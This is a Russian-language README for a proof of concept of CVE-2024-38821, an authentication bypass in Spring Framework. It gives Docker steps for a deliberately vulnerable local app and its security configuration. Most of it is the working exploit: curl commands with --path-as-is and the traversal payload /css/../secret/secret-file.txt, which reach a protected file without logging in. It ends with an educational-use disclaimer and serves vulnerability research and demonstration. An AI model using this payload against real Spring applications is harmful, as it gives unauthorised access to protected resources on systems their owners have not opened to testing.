
Эксплойт proof-of-concept для CVE-2024-38821, демонстрирующий обход аутентификации в Spring Framework через path traversal для доступа к ограниченным ресурсам.
Это подтверждение концепции для уязвимости CVE-2024-38821
Соберите Docker-образ (Spring Boot 3.3.4, на основе Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38821-poc .
Запустите контейнер и откройте порт 8080 для хост-машины
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
Выполните следующую команду, чтобы запустить PoC и подтвердить уязвимость
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
Если атака успешна, в ответе отобразится: This is a secret file.
Создайте SecurityConfig.java для настройки прав доступа:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
Создайте следующий payload. Поскольку payload начинается с /css/, он соответствует разрешенному шаблону пути. Он не начинается с /secret/, поэтому не соответствует шаблону пути, требующему аутентификации:
/css/../secret/secret-file.txtИспользуйте следующую команду curl, чтобы запустить PoC и проверить успешность атаки:
# Note: The --path-as-is option is required to send the request without URL normalization.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
Этот PoC предоставлен в образовательных целях и для исследования безопасности. Перед использованием в реальной системе убедитесь, что уязвимость устранена и у вас есть соответствующие разрешения. Автор не несет ответственности за любое неправомерное использование этого кода.
Если атака успешна, в ответе отобразится: This is a secret file.